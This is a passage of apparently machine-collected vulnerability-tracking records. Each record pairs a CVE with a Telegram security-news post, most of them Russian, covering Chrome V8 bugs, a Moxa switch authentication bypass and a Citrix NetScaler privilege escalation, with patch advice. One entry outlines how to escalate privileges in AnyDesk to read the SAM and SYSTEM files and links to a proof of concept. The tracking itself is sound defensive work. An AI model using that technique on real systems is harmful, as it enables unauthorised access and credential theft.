\u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "3a93ed0c-140a-412f-aede-024a4f455bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1580", "content": "\ud83d\uddbc AnyDesk \u2014 Local Privilege Escalation (CVE-2024-12754)\n\nA vulnerability in AnyDesk allows low-privileged users to perform arbitrary file read and copy operations with NT AUTHORITY\\SYSTEM privileges. Exploitation is possible by manipulating the background image, creating symbolic links, and leveraging ShadowCopy, granting access to SAM, SYSTEM, and SECURITY files, ultimately leading to privilege escalation to administrator.\n\n\ud83d\udd17 Source:\nhttps://mansk1es.gitbook.io/AnyDesk_CVE-2024-12754\n\n#windows #anydesk #lpe #cve", "creation_timestamp": "2025-02-06T12:32:19.000000Z"}, {"uuid": "da520823-e8d1-40eb-9541-3e7b8ce6fb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/true_secator/6827", "content": "\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f Moxa \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 PT, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-12297, \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS v4 9,2 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10,0 \u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u0432 \u0435\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u0440\u0443\u0442\u0430 \u0438 \u0430\u0442\u0430\u043a \u0441 \u043a\u043e\u043b\u043b\u0438\u0437\u0438\u0435\u0439 MD5 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 \u0445\u044d\u0448\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c \u0438\u043b\u0438 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043b\u0443\u0436\u0431.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: PT-508 (\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 3.8), PT-510 (\u0432\u0435\u0440\u0441\u0438\u044f 3.8), PT-7528 (\u0432\u0435\u0440\u0441\u0438\u044f 5.0), PT-7728 (\u0432\u0435\u0440\u0441\u0438\u044f 3.9), PT-7828 (\u0432\u0435\u0440\u0441\u0438\u044f 4.0), PT-G503 (\u0432\u0435\u0440\u0441\u0438\u044f 5.3), PT-G510 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5), PT-G7728 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5) \u0438 PT-G7828 (\u0432\u0435\u0440\u0441\u0438\u044f 6.5 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u044f\u044f).\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u0432\u0448\u0438\u0441\u044c \u0441\u043e \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Moxa.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u0440\u0430\u0437\u0438\u043b \u043f\u0440\u0438\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0410\u0440\u0442\u0435\u043c\u0443 \u0422\u0443\u0440\u044b\u0448\u0435\u0432\u0443 \u0438\u0437 \u0420\u0443\u0441\u0430\u0442\u043e\u043c \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0420\u0410\u0421\u0423) \u0437\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438\u043b\u0438 ACL, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0441\u0435\u0442\u0438, \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c MFA \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0443 \u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Ethernet-\u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0435 \u0441\u0435\u0440\u0438\u0438 EDS-508A, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u043c \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 3.11 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0435\u0449\u0435 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u044f\u043d\u0432\u0430\u0440\u044f 2025 \u0433\u043e\u0434\u0430.", "creation_timestamp": "2025-03-11T13:36:07.000000Z"}, {"uuid": "afc78f8d-fcb9-488b-a25d-07a3cda79109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/true_secator/6762", "content": "Citrix \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0439 \u043d\u0430 NetScaler Console (\u0440\u0430\u043d\u0435\u0435 NetScaler ADM) \u0438 NetScaler Agent, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-12284 \u0438 \u0438\u043c\u0435\u0435\u0442 CVSS v4 8,8 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10,0. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 EoP, \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 NetScaler Console Agent, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0433\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 NetScaler, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0437\u044b.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442: NetScaler Console 14.1 \u0434\u043e 14.1-38.53 \u0438 13.1 \u0434\u043e 13.1-56.18, NetScaler Agent 14.1 \u0434\u043e 14.1-38.53 \u0438 13.1 \u0434\u043e 13.1-56.18, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 14.1-38.53, 13.1-56.18 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 14.1-38.53 \u0438 13.1-56.18 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 (\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e).\n\nCloud Software Group \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c NetScaler Console \u0438 NetScaler Agent \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0441\u043b\u0443\u0436\u0431\u0443 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 NetScaler \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Citrix, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e 